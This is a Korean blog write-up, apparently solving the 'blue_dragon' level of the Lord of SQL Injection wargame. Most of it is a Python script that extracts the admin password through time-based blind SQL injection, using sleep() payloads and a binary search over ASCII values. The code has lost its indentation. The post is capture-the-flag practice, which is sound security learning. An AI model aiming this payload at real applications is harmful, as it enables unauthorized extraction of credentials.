'와 \를 검사해준다. 그리고 이번에는 패스워드까지 알아맞춰야 하는 brute force문제인 듯 하다.
그런데 일단 쿼리가 한번 실행 되고 나서 \,'검사를 한다. 일단 time baesd로 어느정도 해결이 가능할 듯하다.
지금까지 배운것들이 모두 가능하다는 전제하에 문제를 풀어야 될 것 같다.
일단은 비밀번호의 길이 먼저 구해보겠다.
일단 비밀번호의 길이는 8자인 것을 알아냈다. 이러면 상당히 쉬워진다.
동일한 방법으로 비밀번호 8자만 구하면 된다.
d948b8a0이 나왔다.
#!/usr/bin/python
#-*-coding:utf-8 -*-
import urllib,urllib2,requests
import time
header={"Cookie":"PHPSESSID=5b4vff***tab335qko"}
password=''
whole_time=0
for i in range(1,9) :
url="https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?"
min=0
max=0xff
while True :
k=int((max+min)/2)
start=time.time()
purl=url+"pw=' or if(id='admin' and ascii(substr(pw,"
purl+=str(i)+',1))>'+str(k)+",sleep(2),1)%23"
request=requests.get(purl,headers=header)
interval=time.time()-start
#print(purl)
if interval>2 :
min=k
else :
max=k
k=int((max+min)/2)
start=time.time()
purl=url+"pw=' or if(id='admin' and ascii(substr(pw,"
purl+=str(i)+',1))='+str(k)+",sleep(2),1)%23"
request=requests.get(purl,headers=header)
interval=time.time()-start
if interval>2 :
password+=chr(k)
print('[+]'+password)
break
print(password)
'전공쪽 > Lord of Sql injection' 카테고리의 다른 글
[los] phantom (0) | 2020.12.15 |
---|---|
[los] frankenstein (0) | 2020.12.15 |
[los] red dragon (0) | 2020.12.15 |
[los] green dragon (0) | 2020.12.15 |
[los] evil_wizard (0) | 2020.12.15 |